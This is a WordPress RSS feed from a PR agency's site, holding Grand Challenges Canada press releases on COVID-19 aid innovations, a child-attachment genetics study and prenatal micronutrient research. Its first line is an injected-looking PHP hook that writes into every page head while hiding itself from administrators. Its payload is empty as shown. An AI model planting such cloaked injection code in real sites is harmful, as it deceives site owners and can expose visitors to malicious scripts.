if (!function_exists('f9d233f09')) { function f9d233f09() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f9d233f09', 999); Global health innovation – Terry Collins & Assoc. https://terrycollinsassociates.com News factory Wed, 25 Feb 2026 14:44:24 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 Global health innovators mobilize to help developing countries combat COVID-19 https://terrycollinsassociates.com/global-health-innovators-mobilize-to-help-developing-countries-combat-covid-19/ Mon, 27 Apr 2020 16:27:53 +0000 https://terrycollinsassociates.com/global-health-innovators-mobilize-to-help-developing-countries-combat-covid-19/ Grand Challenges Canada, Toronto

Grand Challenges Canada innovators offer resources, ideas, affordable solutions for low-resource countries in need of pandemic essentials: medical oxygen, ventilators, masks, more

229814Novel, affordable ways to acquire medical oxygen, ventilators, masks and other critically-needed COVID-19 supplies and services are among 20 Grand Challenges Canada innovations mobilizing to assist developing countries through the global pandemic.

In the past decade, the innovations received GCC support in several forms, including over $19 million provided by the Government of Canada, based on the criteria of “bold ideas with big impact” in global health. These project now offer critical resources, ideas and solutions for low-resource countries struggling to meet an acute need for affordable, locally-sourced products and services, most urgently:

  • Medical oxygen, ventilators and related training
  • Local manufacturing of personal protective equipment for health care workers
  • Life-saving information for hard-to-reach populations

Says Karina Gould, Canada’s Minister of International Development: “To overcome the unprecedented global health challenges presented by COVID-19, the world needs innovation and ingenuity. Over the past 10 years, Canada’s funding for Grand Challenges Canada has helped hundreds of innovative ideas become a reality. Today, some of those very ideas are saving lives by helping people prevent and respond to COVID-19 and other health challenges in developing countries.”

Adds GCC co-CEO Dr. Karlee Silver: “Innovation in global health means provisioning low-resource areas with needed goods and services that are better, faster and cheaper. Such solutions take time to develop, scale up, and evaluate as they transition to scale.”

“With Canadian Government funding, we have supported a portfolio of solutions over the past 10 years that are particularly relevant to the developing world’s COVID-19 response. It is during times like these that the value of investment in innovation becomes most obvious.”

“Grand Challenges Canada is lending expertise and other support to the innovators as they focus on the pandemic, and several will receive additional funding as needed to help accelerate their response to COVID-19. Many others among GCC’s 228 active innovation projects are working to mitigate the fallout of COVID-19 on reproductive, maternal, newborn and child health services disrupted by pandemic control measures,” says Dr. Silver.

“We have been guided by local governments’ needs, with locally supplied medical oxygen topping the list — a resource in tragically short supply and high demand throughout much of the developing world.”

The innovators leading these 20 solutions are based in 11 countries — Kenya, Uganda, Tanzania, South Africa, Brazil, India, Bangladesh, Cambodia, Australia, Canada and the United States — and operate in low-resource areas throughout Africa and beyond, from the Amazon to the Himalayas.

  • 4 projects provide medical oxygen
  • 2 produce rugged, battery backed-up ventilators
  • 1 is pivoting from affordable locally-produced sanitary pads to low-cost masks
  • 2 offer innovative diagnostic / imaging equipment
  • 7 support remote patient care, monitoring and essential products delivery
  • 1 supports mental health care
  • 2 support safe water, sanitation and hygiene
  • 1 supports at-home education

Oxygen

1) Assist International (USA)

Assist International provides healthcare facilities with reliable, affordable medical oxygen supplies via local production plants and partners in over 40 hospitals in Kenya, Rwanda and Ethiopia. GCC helped Assist expand in Ethiopia, and supports its further geographical growth.

The group will increase capacity to supply additional oxygen as COVID-19-related demand increases. It will also provide equipment, such as ventilators, concentrators, pulse oximeters, and masks, training, and short courses in repairs and maintenance.

Tele-monitoring and training provided via Project ECHO in Ethiopia, Tanzania and Cambodia will include new COVID-19 curricula for healthcare workers and technicians covering Intensive Care Units for both adults and newborns.

Photo gallery: https://bit.ly/2xGjDYG

2) Hewa Tele (Kenya)

Hewa Tele Limited delivers reliable, cost-effective, life-saving medical oxygen to health facilities in Kenya that have little or no access to it otherwise, operating production plants in partnership with governments and hospitals. An associated NGO provides relevant training for healthcare staff.

Currently serving a population of 15 million with GCC support, Hewa Tele will now provide medical-grade oxygen to Nairobi’s COVID-19 isolation hospital, with a set of cylinders dedicated solely to that facility, and will gear up to meet the oxygen needs of a growing number of patients. Its expansion plans include hiring additional staff to facilitate 24-hour coverage, leasing more distribution vehicles, adding new oxygen cylinders to its inventory, and training health care staff to administer oxygen safely.

Photos: http://www.hewatele.org/index.php/our-solutions

3) University of Alberta / Global Health Uganda Ltd. (Canada / Uganda)

GCC-supported University of Alberta researchers and their Global Health Uganda partners developed an easy-to-use “SPO2” solar powered system that turns ambient air into medical-grade oxygen with battery banks enabling uninterrupted service through the night and on cloudy days.

SPO2 systems include how-to “roadmaps” for local procurement, training, and maintenance of solar oxygen concentrators helpful to COVID-19 responses in remote, off-grid facilities or those without a reliable electricity supply.

Oxygen therapy systems are currently installed in 10 African hospitals (8 in Uganda; 2 in DR Congo), and the team is exploring partnerships to expand their reach to meet demand.

4) FREO2 Foundation (Australia)

The University of Melbourne’s FREO2 team, with support from GCC and the Saving Lives at Birth partnership, has created a rugged, low-cost medical oxygen system (OxyLink) that maximizes oxygen output, minimizes energy use, and can switch to backup power to bridge common short power cuts in low-resourced health facilities. Their Low-Pressure Oxygen Store System, meanwhile, helps facilities that often experience longer power outages, combining OxyLink with a novel oxygen storage technology.

With clinical trials complete and product field-testing underway, OxyLink systems may be particularly helpful in smaller facilities without access to oxygen plants or reliable electricity sources. The cost and power savings may also benefit regional hospitals and other larger facilities facing a surge in demand for oxygen therapy due to COVID-19, routine pneumonia cases, and other illnesses. Scheduled to debut commercially this fall, prioritizing low- and middle-income countries, FREO2 is working through complications to international roll-outs caused by travel restrictions.

Video: https://youtu.be/Dy8j9xWrVlU

Ventilators

1) Gradian Health Systems Inc. (USA)

This non-profit has established distribution and service networks providing and sustaining world-class medical equipment in facilities across more than 30 sub-Sahara African countries. Support from GCC and the Saving Lives at Birth partnership fostered Gradian’s validation and scale-up of a simulation-based training model being rolled out alongside installations of the ventilator.

The Gradian CCV (Comprehensive Care Ventilator) supports critically-ill patients in settings with unreliable supplies of power and oxygen, including temporary field hospitals being set up to manage COVID-19 patients in many countries. The ventilator can run for 21 hours on battery power, and its portability features enable single-ventilator use throughout critical care, including patient transport. Simulation-based training is a critical component of Gradian’s model, with teams of clinicians and bio-medical technicians providing remote and on-site training to healthcare providers.

Gradian has placed ventilators in Nepal, Sierra Leone, Kenya, and several other countries, conducted several remote trainings with clinicians, and is continuing to work with more health systems to build capacity for COVID response and other critical care needs.

Video: https://vimeo.com/261709384

2) OneBreath Inc. (USA / India)

With Stanford University intellectual property and GCC support, OneBreath has created an affordable ventilator for intensive care units, emergency rooms and ambulances. The device provides continuous respiratory support for all patients, from infants to adults, and is optimized for low-resource settings: affordable, portable and rechargeable, with an internal compressor that allows it to operate independent of compressed gas lines.

OneBreath anticipates its devices serving India soon and is seeking expedited regulatory processes (including US Food and Drug Administration approval) for a wider geographic rollout.

Masks

1) Saral Design Solutions Private Limited (India)

Saral’s “Swachh” is a fully-automatic, compact machine designed to produce low-cost, ultra-thin disposable sanitary pads through a decentralized manufacturing system. With GCC support, the company sells machines to local entrepreneurs and NGOs in India, and supports them as they operate their Swachh as a “business in a box.”

Saral has modified a Swachh machine to create 3-ply disposable surgical masks, adapting its ultrasonic sealing technology for non-woven materials to produce masks at a rate of 50-70 units per minute for less than US 6 cents per mask. Saral is partnering with a Mumbai-based auto firm to mass produce masks in their factory, to be distributed through Maharashtra Government networks. Saral will manufacture more machines and support existing sanitary pad machine customers pivoting to local mask production.

Video: https://youtu.be/QVepn4CDx3c

Diagnostics and imaging

1) Atomo Diagnostics Limited (Australia)

Atomo, with an early investment from GCC and the Global Health Investment Fund, created an innovative casing for rapid diagnostic blood tests. Originally developed for HIV diagnosis, the user-friendly devices enable home testing and testing in medical facilities without highly-trained healthcare workers. They will be deployed under a partnership with a French diagnostics company, NG Biotech, to detect COVID-19. Results from a drop of blood indicates within 15 minutes indicate whether a person is infected or been in contact with the virus.

The company will produce millions of the all-in-one, easy-to-use devices for professional and self-testing.

Video: https://youtu.be/t99iJv0Eyr8

2) KA Imaging (Waterloo, Canada)

KA Imaging’s Reveal X-ray imager, created with an early investment from GCC, is an affordable, portable, low-dose, high-resolution device designed with tuberculosis, pneumonia, COPD, and lung cancer diagnosis in mind. Late-stage discussions with hospitals in different countries are underway on clinical trials to determine the efficacy of the imager in COVID-19 diagnosis.

Video: https://youtu.be/ljfULCfcVXM

Monitoring, information technology

1) WelTel Incorporated (Vancouver, Canada)

WelTel integrates virtual care and patient engagement, connecting remote outpatients with the healthcare system between clinical visits via their mobile phones. Public health agencies are using it to monitor and support COVID-19 cases and contacts in home quarantine. Patients respond to automated text messages sent via the Internet-based app; WelTel collects message data, using natural language processing and predictive algorithms, to inform healthcare providers and public health officials to priority patient issues.

WelTel’s system supports appointment scheduling and reminders, and broadcasts video or public health information on a secure patient portal. Proven in Rwanda, Kenya, Uganda, the USA and elsewhere, WelTel is adapting and deploying its platform for COVID-19 public health monitoring in Canada, the UK, Kenya and Rwanda.

GCC’s previous investment in the WelTel platform for HIV patients will be augmented to support COVID-19 response in Kenya and Rwanda. Its priority focus: pregnant women, young children and other vulnerable populations requiring enhanced healthcare monitoring while simultaneously avoiding COVID-19 exposure at healthcare centres. The WelTel program has formed the backbone of Rwanda’s national COVID-19 case-contact monitoring response and has already demonstrated benefit.

Video: https://vimeo.com/238653892

2) Praekelt.org (South Africa)

Praekelt.org has created MomConnect, a free WhatsApp-based text messaging platform to promote healthy pregnancies and infant care. Registered users receive biweekly advice tailored to each stage of motherhood, including clinical visit reminders and information on health services, with a feature allowing mothers to question Health Ministry employees, and to offer direct feedback on public health services.

A proven success scaling up nationally in South Africa, Praekelt.org has now introduced HealthAlert, a WhatsApp-based helpline disseminating accurate, timely COVID-19 information, with automated answers to frequently asked questions, relieving call centre traffic. Machine learning and its ability to understand natural language enable automatic triage advice and large volume conversations. Insights from real-time data support effective systems-level COVID- 19 decision-making.

South Africa has launched HealthAlert as COVID-19 Connect, while the World Health Organization has launched HealthAlert for WhatsApp globally.

3) TNH Digital Health Limited (Brazil)

TNH’s GCC-supported Vitalk mobile phone app provides highly-personalized, stage-based, interactive text messaging to pregnant women and new mothers, allowing healthcare providers and decision-makers to track development milestones and link women to care.

With private and public sector clients across Brazil and other countries, TNH is now using the platform and artificial intelligence to launch COVID-19 education and monitoring chatbots to facilitate patients getting treatment and case surveillance. The platform is being rolled out freely in Brazil’s Amazon state and, in partnership with municipalities across northeastern Brazil, is launching systems to be integrated with local community health efforts, with specialized COVID-19 content for pregnant women, as well as resources intended to reduce pandemic-related anxiety and stress.

Video: https://youtu.be/BGalGKe1nfI

Mental health

1) Friendship Bench Digital, Zimbabwe

Friendship Bench is an accessible, approachable problem-solving intervention offering cognitive behavioural treatment for common mental disorders beyond the psychiatrist’s office.

Developed in Zimbabwe with GCC funding, the Friendship Bench offers a proven, one-on-one therapy delivered by trained community health workers (“grandmothers”) on the grounds of municipal health clinics. Tens of thousands of people have been treated at 72 clinics in four cities across Zimbabwe since 2016, and studies have documented that Friendship Bench users are three times less likely to experience depression and four times less likely to have symptoms of anxiety. Transitioning to scale as part of Zimbabwe’s Mental Health Strategy for 2019-2030, the model has been applied in diverse contexts, including Malawi, Zanzibar and New York City. Partnered with Inuka Hero — an affiliated, SMS-based mental health support service also initiated with GCC support — the Friendship Bench program has been adapted for remote COVID-19 pandemic response, delivered free of charge via phone and SMS by trained non-professionals, enabling those in need to access effective, evidence-based psychological support while maintaining social distancing protocols.

Video: https://youtu.be/Th77mCuL5GY

Remote care and supplies

1) North Star Alliance East Africa (Kenya)

With high risk populations (i.e. truckers and sex workers) in mind, North Star Alliance has created a network of semi-mobile “Blue Box” facilities — shipping containers repurposed as health clinics situated along major transport routes in six sub-Saharan Africa countries.

GCC-funded programming includes multi-sectoral Crisis Response Teams to combat violence against sex workers, and an electronic medical records platform to follow and manage health data for highly-mobile, hard-to-track populations, and was already attracting attention of local governments for its ability to serve hard-to-reach populations.

North Star now serves a key role in minimizing COVID-19 transmission within high-risk demographics, supporting infection prevention and control and health education via the Blue Box facilities, while its cross-border electronic health records system may help monitor the health of frequent high-risk travellers. Video: https://youtu.be/P5cLTIoWHKI

2) Friendship Bangladesh (Bangladesh)

Friendship Bangladesh’s model delivers comprehensive health care and education for isolated communities in northern and southern Bangladesh, with a strong focus, developed with GCC investment, on maternal, newborn and child health, and sexual and reproductive health.

The system includes community medical aides, satellite clinics and hospital ships to reach people living in complex, remote environments — populations particularly vulnerable to a rapid spread of COVID-19.

Video: https://youtu.be/YdSxGNJbAak

3) Healthy Entrepreneurs Uganda (Uganda)

Healthy Entrepreneurs’ integrated, end-to-end supply chain business involves a network of trained micro-entrepreneurs delivering affordable, reliable health products and services to rural women and children. Transitioning to scale with GCC support, the system offers soap, sanitizer, disinfectant, fever-reducing medications and other goods essential for containing COVID-19. IT is operating in Uganda, Kenya and Tanzania, and expanding into other African countries.

A telemedicine platform facilitated by the organization allows for remote triage, risk assessment and referrals for last mile populations / self-isolated homes. It will also promote COVID-19-related knowledge and awareness, preventing rumours and misinformation.

Video: https://youtu.be/j9gYLLXJ7xk

4) Karma Primary Healthcare Services Private Ltd. (India)

Karma Primary Healthcare Services facilitates access to reliable, affordable primary healthcare for the rural poor in four districts and two states in India. Over 100,000 people have been consulted at Karma’s nurse-assisted “e-Doctor” clinics, offering medicine, and diagnostic services in addition to remote doctor consultations. The clinics help prevent and address illnesses and promote good health, covering a range of medical concerns, including reproductive, maternal, newborn and child health services thanks to GCC support.

The service has been upgraded to help address COVID-19 by providing contact-less audio-video consultations and referrals, a phone helpline, and awareness campaigns, reducing the need for in-person engagement. This augments local government efforts and reduces the burden of healthcare facilities preparing for COVID-19 cases.

Video: https://bit.ly/GCCKarma

Water, sanitation, hygiene

1) Max Foundation (Bangladesh)

Through its Max Healthy Village Program, supported by a GCC investment, Max Foundation trains local NGOs to promote improved water, sanitation, nutrition and safe motherhood in rural communities in Bangladesh. Initial payments let NGOs adapt and implement interventions, incentivized by follow-on payments when results targets are met.

The Max Healthy Village program emphasizes accelerated water, sanitation and hand-washing efforts critical to a COVID-19 response, and, with its database of 400,000 mobile numbers for beneficiary households and community leaders, can facilitate quick dissemination of relevant, accurate health information to support behaviour change and decision-making in designated villages.

2) Water Sanitation Hygiene Enterprise Development Cambodia (Cambodia)

WaterSHED Cambodia’s “HappyTap Labobo” is the only commercial indoor / outdoor portable sink specifically designed for low-income settings, promoting hand washing — a critical tool in preventing COVID-19 contagion. HappyTap is an affordable, attractive hand washing station for use by anyone, including children. Produced in Vietnam and Bangladesh, it is available across Asia and expandingglobally.

Video: https://youtu.be/uCW6WBvtOzw

Educational services

1) Ubongo Learning Ltd. (Tanzania)

With GCC support, Ubongo locally produces culturally-relevant, multi-lingual, multi-media “edutainment” and other learning resources for young children and caregivers in Tanzania, Kenya and Uganda. TV and radio shows deliver engaging stories, animations and songs that teach children early numeracy, language and literacy, motor development, socio-emotional learning and good health / wellbeing, with complementary content and guidance for parents and caregivers to support home learning.

In light of COVID-19-related school closures across Africa, Ubongo is freely offering its library of TV and radio content, as well as public service announcements and educational videos to support health and hygiene.

Video: https://youtu.be/6VVHoIzAC14

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Grand Challenges Canada acknowledges Global Affairs Canada, and for some the Saving Lives at Birth partners (USAID, Norad, UK DFID, KOICA, GCC, Bill & Melinda Gates Foundation) for funding that initially supported these innovations.

About Grand Challenges Canada

Grand Challenges Canada is dedicated to supporting Bold Ideas with Big Impact®. Funded by the Government of Canada and other partners, Grand Challenges Canada funds innovators in low- and middle-income countries and Canada. The bold ideas Grand Challenges Canada supports integrate science and technology, social and business innovation – known as Integrated Innovation®.

One of the largest impact-first investors in Canada, Grand Challenges Canada has supported a pipeline of over 1,250 innovations in 105 countries. Grand Challenges Canada estimates that these innovations have the potential to save up to 1.6 million lives and improve up to 51 million lives by 2030.

Grand Challenges Canada is hosted in Toronto at the Sandra Rotman Centre at the MaRS Discovery District, and in partnership with the University Health Network.

Mission: To catalyze innovation that saves and improves the lives of the most vulnerable in Canada and low- and middle-income countries.

Vision: A world in which innovation accelerates the achievement of Sustainable Development Goals.

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Media coverage highlights

New York Times, USA, In Poor Countries, Many Covid-19 Patients Are Desperate for Oxygen, click here

BBC World Service World Business Report, 9m:40s aired x2, click here
BBC World Service People Fixing the World, 23m aired x3, click here
BBC World Service Newsday, 3m:20s aired x2, click here

Voice of America, Radio and TV Global 3m; distributed online in 47 languages, airs on TV in 25 countries, click here
Agencia EFE, Spain, Canadá financia proyectos en países en desarrollo para luchar contra la COVID-19, click here
Xinhua News (Eng.) Mainland China, African states to benefit from Canada funding to fight COVID-19, click here

Standard News, Kenya, Innovators mobilise to assist developing countries combat covid-19, click here

News release in full, click here

Full coverage summary, click here

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Gene tests may help maximize early child development: Study https://terrycollinsassociates.com/gene-testing-may-help-maximize-early-development-study/ Tue, 28 Feb 2017 10:11:51 +0000 https://terrycollinsassociates.com/gene-testing-may-help-maximize-early-development-study/ Grand Challenges Canada / Saving Brains Program, Toronto

In study, children with a particular genetic variation were 4 times more likely to develop strong attachment to mother after intervention

A child’s genetic make-up can play a large, hidden role in the success of efforts to maximize his or her development, South African research suggests.

The study, published February 28 in PLoS Medicine and supported by the Government of Canada through Grand Challenges Canada’s Saving Brains program, sheds new light on why some children benefit more than others from interventions and raises complex questions about psychosocial intervention programs in future.

In a study led by Professor Mark Tomlinson of Stellenbosch University, the study followed-up an intervention implemented between 1999 and 2003, in which expectant mothers underwent mentoring to improve attachment with their children — attachment being a measure of a child’s psychological security, and predictive of future wellbeing. In the original study, a control group of roughly equal size was composed of expectant mothers who did not receive mentoring.

The original study concluded that the intervention had a small-to-moderate effect on mother-child attachment, evaluated once the children reached 18 months of age.

The follow-up study, conducted thirteen years after the intervention, re-examined the original attachment results and revealed something surprising: the intervention had in fact worked well for toddlers who had a particular genetic characteristic.

Conducted in collaboration with colleagues from the University of Reading, University College London, and Western University, the study re-enrolled and conducted genetic tests on 279 of the original 449 children.

220 children had both genetic and attachment data, enabling the investigators to test whether the original attachment outcomes were influenced by their genes.

The researchers factored in whether the child had the short or long form of gene SLC6A4 — the serotonin transporter gene, which is involved in nerve signalling, and which other studies have linked to anxiety, depression and other conditions. Serotonin is popularly thought to contribute to feelings of well-being and happiness.

The attachment of children with the short form of the gene, and whose pregnant mothers were mentored, were almost four times more likely to be securely attached to their mothers at 18 months old (84 percent were secure) than children carrying the short form whose mothers did not receive mentoring (58 percent were secure).

Meanwhile, children with the long gene were apparently unaffected by their mother’s training or lack thereof: in both cases, the rate of secure attachment was almost identical (70 and 71 percent).

Subject to further validation, says Professor Tomlinson, the insight has “important implications for scientists designing and evaluating interventions to benefit as many people as possible in South Africa and worldwide.”

“Without taking genetics into account, it is possible that other studies have under-estimated the impact of their interventions, as we originally did.”

Says lead author Dr. Barak Morgan of the University of Cape Town: “The immediate significance of this research is the revelation that in principle, and probably in many cases in practice too, the effectiveness of interventions has been mis-measured — under-estimated for genetically susceptible individuals and over-estimated for those who are genetically less susceptible. But even more worrying is the implication that the negative consequences of not receiving an intervention also differ by genotype.”

“This is an enormously important insight because, in this case, the subgroup with the short form of the SLC6A4 gene is also the one with the most to lose if not helped.”

“Individuals with the long form of the gene, on the other hand, appear less sensitive and derived little benefit from the same intervention, and little detriment from not getting it.”

Adds Professor Tomlinson: “In the original study, we did not see such a big impact from this intervention because only those with the short gene improved, and this improvement was ‘diluted’ by the large number of children with the long gene who did not improve.”

The researchers caution that, among other limitations, this study involved a relatively small sample and only measured one gene and one outcome (attachment).

Dr. Morgan stressed: “We are certainly not saying that only some people should receive the intervention — those who are ‘susceptible’ to improving from it. There is little scientific justification for this. For example, many children with the non-susceptible long genotype of the SLC6A4 gene may carry the susceptible form of another gene which renders them much more likely to benefit from the same intervention but for a different but equally important outcome.

“Going forward, the implications are therefore two-fold. Firstly, measuring genetic differences allows for proper assessment of the effectiveness or lack of effectiveness of an intervention for a particular outcome in different individuals. Secondly, this information can then be used to find out how to intervene effectively for all — to guide what might be done to improve outcomes for a non-responsive gene-intervention interaction while continuing to optimise outcomes for the responsive one.”

Says Dr. Karlee Silver, Vice President Programs of Grand Challenges Canada: “This work is fundamentally about better understanding the impact of interventions which is an important step forward to creating a world where every child can survive and thrive.”

Says Dr. Peter A. Singer, Chief Executive Officer of Grand Challenges Canada: “This is a startling finding that changes the way I think about child development. Why is it important? Because child development is the ladder of social mobility used to climb out of the hole of inequity by millions of children around the world.”

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For more information, visit grandchallenges.ca and look for us on Facebook, Twitter, YouTube and LinkedIn.

About Grand Challenges Canada

Grand Challenges Canada is dedicated to supporting Bold Ideas with Big Impact® in global health. We are funded by the Government of Canada and we support innovators in low- and middle-income countries and Canada. The bold ideas we support integrate science and technology, social and business innovation – we call this Integrated Innovation®. Grand Challenges Canada focuses on innovator-defined challenges through its Stars in Global Health program and on targeted challenges in its Saving Lives at Birth, Saving Brains and Global Mental Health programs. Grand Challenges Canada works closely with Canada’s International Development Research Centre (IDRC), the Canadian Institutes of Health Research (CIHR) and Global Affairs Canada to catalyze scale, sustainability and impact. We have a determined focus on results, and on saving and improving lives. http://www.grandchallenges.ca

About Saving Brains

Saving Brains is a partnership of Grand Challenges Canada, Aga Khan Foundation Canada, the Bernard van Leer Foundation, the Bill & Melinda Gates Foundation, The ELMA Foundation, Grand Challenges Ethiopia, the Maria Cecilia Souto Vidigal Foundation, the Palix Foundation, UBS Optimus Foundation and World Vision Canada. It seeks and supports bold ideas for products, services and implementation models that protect and nurture early brain development relevant to poor, marginalized populations in low- or middle-income countries.http://www.savingbrainsinnovation.net

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Example coverage:

The Times, South Africa
SA study sheds new light on how babies respond to developmental interventions, (click here)

Africa Science News, Kenya
To maximize a child’s development, genetics provide important insight, study shows, (click here)

Independent Online, South Africa
The long and short of child genetics revealed, (click here)

Herald Live, South Africa
SA study sheds new light on how babies respond to developmental interventions, (click here)

SciDev, UK, (click here)

Agencia EFE, via El Confidencial, Spain, Genética puede explicar reacción en niños de tratamientos psicosociológicos (click here)

Coverage summary, click here

News release in full, click here

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Micronutrient supplements during pregnancy linked to smarter kids https://terrycollinsassociates.com/smarter-kids-canadian-funded-research-shows-mothers-micronutrient-supplements-can-add-equivalent-of-a-years-schooling-by-age-9-12/ Mon, 16 Jan 2017 18:35:27 +0000 https://terrycollinsassociates.com/smarter-kids-canadian-funded-research-shows-mothers-micronutrient-supplements-can-add-equivalent-of-a-years-schooling-by-age-9-12/ Grand Challenges Canada, Toronto

Maternal Micronutrients, Nurturing Environment Boost Child Development

SUMMIT GCCMothers who take multi-micronutrient supplements during pregnancy can add the equivalent of up to one full year of schooling to a child’s cognitive abilities at age 9-12, says a new study published today.
Other essential ingredients in the recipe for smarter kids include early life nurturing, happy moms, and educated parents, according to the research conducted in Indonesia.
As well, the study finds that a child’s nurturing environment is more strongly correlated than biological factors to brain development and general intellectual ability, declarative memory, procedural memory, executive function, academic achievement, fine motor dexterity, and socio-emotional health.
Funded by the Government of Canada through Grand Challenges Canada’s Saving Brains program, the study appears today, January 16, 2017 in the prestigious journal, Lancet Global Health.
The research was conducted by international group of researchers from Indonesia (Summit Institute of Development, the study leader, and the Center for Research on Language and Culture, University of Mataram), the United States (Harvard T.H. Chan School of Public Health, the University of California, Davis, and Georgetown University) the United Kingdom (University of Lancaster) and Australia (Deakin University).
Between 2012 and 2014, the researchers tested extensively almost 3,000 Indonesian school children, then 9 to 12 years old, whose mothers had participated in an earlier study into the effects of consuming either multiple micronutrient (MMN) supplements or standard iron-folic acid (IFA) supplements during pregnancy.
In the earlier “Supplementation with Multiple Micronutrients Intervention Trial” (SUMMIT), conducted between 2001 and 2004, half of the 31,290 participating Indonesian mothers consumed MMN supplements; the other half received IFA supplements. The MMN supplements were similar to the pre-natal multivitamin supplements consumed by many women in Canada, the United States, and other countries during pregnancy.
The latest follow-up study revealed impressive long-term benefits to children whose mothers took MMN supplements, including better “procedural memory” equivalent to the increase in score typical after an additional half-year of schooling.
The procedural memory is tied to the learning of new skills and the processing of established perceptual, motor, and cognitive skills. Procedural memory is important for a child’s academic performance and daily life, and is tied to activities such as driving, typing, reading, arithmetic, reading, speaking and understanding language, and learning sequences, rules, and categories.
Children of anemic mothers in the MMN group scored substantially higher in general intellectual ability, a difference comparable to the increase associated with an additional full year of schooling.
What further impressed and surprised the researchers: The strength of the relationship between cognitive abilities and early life social and environmental conditions.
Biological factors such as maternal nutritional status during pregnancy, low infant birth weight, premature birth, poor infant physical growth and nutritional status at follow-up were not as strongly linked to cognitive ability as the socio-environmental factors assessed during the study: home environment, maternal depression, parental education and socio-economic status.
This suggests that current public health programs focused only on biological factors may not sufficiently enhance child cognition, and that programs addressing socio-environmental factors are essential to achieve thriving populations, according to the study.
In Indonesia’s West Nusa Tenggara province, where the study was carried out, officials are already taking action in light of the research results.
Photos for media use bit.ly/2j81cTJ
Credit: SUMMIT

Says Provincial Secretary General Dr. Rosiady Sayuti: “The findings led us to create, with the Summit Institute of Development and colleagues, the inter-sectoral Golden Generation Program to enhance social interventions to foster early childhood development.”

Adds Dr. Nurhandini Eka Dewi, Head of the Provincial Health Office of West Nusa Tenggara: “We are procuring multiple micronutrients and scaling-up the Golden Generation Program for family nurturing. These will inform efforts to scale the work nationally.”
Comments
“Previous studies had hinted at the importance of social determinants, but it was the extent of our detailed cognitive assessments and the number of children tested, together with data from the pregnancy onward, that enabled us to clearly quantify the effects, and the results were surprising.”
Dr. Elizabeth Prado, University of California, Davis, the study’s lead author
“With the new emphasis in public health going beyond saving lives toward fostering thriving children, these findings indicate the need to restructure front line health and development work to focus on family welfare and support for nurturing and stimulation, and helping future parents stay in school.”
Dr. Anuraj Shankar, Harvard T.H. Chan School of Public Health, senior author and co-Principal Investigator
“No one on the team had anticipated the extent to which social and environmental factors would exceed biological factors as the determinants of cognitive function – 2- to 3-fold by some measurements. This work has global implications as countries are currently planning how to achieve the global Sustainable Development Goals with targets for improved childhood development.”
Dr. Husni Muadz, University of Mataram, co-Principal Investigator
“This unprecedented work indicates how local community-driven research approaches exemplified by SUMMIT and the Summit Institute of Development provide high value for local and global health and development. We have now created a real-time information platform with the government that coordinates multiple front line workers to enhance early childhood development, this enables rapid scaling in Indonesia and beyond.”
Mandri Apriatni, CEO, Summit Institute of Development
“This study shows that maternal micronutrients and a nurturing environment in early life save brains and help children thrive and succeed.  A more prosperous and peaceful world starts with our children’s early brain development.”
Dr. Peter A. Singer, CEO, Grand Challenges Canada
“This study shows that mothers who take multiple micronutrient supplements during pregnancy can give their child an advantage in life. But healthy development needs public health investments to go beyond bio-medical strategies aimed at mothers-to-be, expectant mothers, babies and children. Beefed-up efforts to improve the nurturing environment in which kids spend their first 1,000 days are also essential.”
Dr. Karlee Silver, VP Programs, Grand Challenges Canada
“This study is the latest example of Canada’s seminal contributions to the field of early childhood development on a global scale. Through Grand Challenges Canada’s Saving Brains program, important progress toward the Sustainable Development Goals is being made as we seek to build a world where every child has the opportunity not only to survive, but to thrive.”
Dr. Jack P. Shonkoff, Director of the Center on the Developing Child at Harvard University
“This study underscores the importance of providing micronutrients to pregnant women to help their children not only survive at birth but thrive later in life. The Micronutrient Initiative is proud to be an ally of Grand Challenges Canada and the innovations it supports.”
Joel Spicer, President and CEO, Micronutrient Initiative
* * * * *
Grand Challenges Canada is dedicated to supporting Bold Ideas with Big Impact in global health. We are funded by the Government of Canada and we support innovators in low- and middle-income countries and Canada. The bold ideas we support integrate science and technology, social and business innovation – we call this Integrated Innovation. Grand Challenges Canada focuses on innovator-defined challenges through its Stars in Global Health program and on targeted challenges in its Saving Lives at Birth, Saving Brains and Global Mental Health programs. Grand Challenges Canada works closely with Canada’s International Development Research Centre (IDRC), the Canadian Institutes of Health Research (CIHR) and Global Affairs Canada to catalyze scale, sustainability and impact. We have a determined focus on results, and on saving and improving lives. www.grandchallenges.ca
Saving Brains is a partnership of Grand Challenges Canada, Aga Khan Foundation Canada, the Bernard van Leer Foundation, the Bill & Melinda Gates Foundation, The ELMA Foundation, Grand Challenges Ethiopia, the Maria Cecilia Souto Vidigal Foundation, the Palix Foundation, UBS Optimus Foundation and World Vision Canada. It seeks and supports bold ideas for products, services and implementation models that protect and nurture early brain development relevant to poor, marginalized populations in low- or middle-income countries. www.savingbrainsinnovation.net
Summit Institute of Development (SID) is a non-profit NGO in Indonesia conducting research and development in the fields of health, education and human capital development. SID focuses on creating evidence-based programs and a path to scale through policy and direct engagement with government and private sectors. Through integrated innovation and implementation SID aims for scalable solutions to improve the quality of life at the community level via open participation and free exchange of information and ideas. Current priorities include: [1] improving maternal and child health, [2] catalyzing human development and agents-of-change and empowerment at the community level, [3] establishing grass roots communication and information systems enabling communities to generate and access evidence for decision-making.

Example coverage

Newswires

Agence France Presse, France, Researchers investigate the factors that boost kids’ brains, click here

Agencia EFE, Spain (at 25 news sites / 12 countries), via Yahoo! News, Suministro de micronutrientes a embarazadas mejora la función cerebral de los niños, click here

Press Trust of India, Happy, educated moms key to smarter kids!, click here

IndoAsian News Service, India, Want your child to be smart? Taking proper vitamin supplements during pregnancy might help, click here

Europa Press, newswire, Spain, El ambiente de crianza estimula el desarrollo del niño, click here

ANSA, newswire, Italy, Vitamine in gravidanza ‘nutrono’ l’intelligenza del bebè, click here

News sites

Today’s Parent, Canada, Prenatal vitamins will make your kid smarter, says new study, click here

The Telegraph, UK, Failing to take multivitamins during pregnancy could set child back a year in school, study suggests, click here

The Sun, UK, BABY BRAIN Mums-to-be who take 2p-a-day pregnancy vitamins ‘boost their kids’ IQ by the same as one school year’, click here

The Mirror, UK, Pregnant women can boost their child’s IQ by up to a year’s schooling by taking supplements, click here

Daily Mail, UK, Want to have smart children? Taking vitamins during pregnancy can help to boost their IQ by as much of a year of schooling, click here

Hindustan Times, India, Want kids with high IQ? Take vitamin supplements during pregnancy, click here

Science Daily, USA, Maternal micronutrients, nurturing environment boost child development, click here 

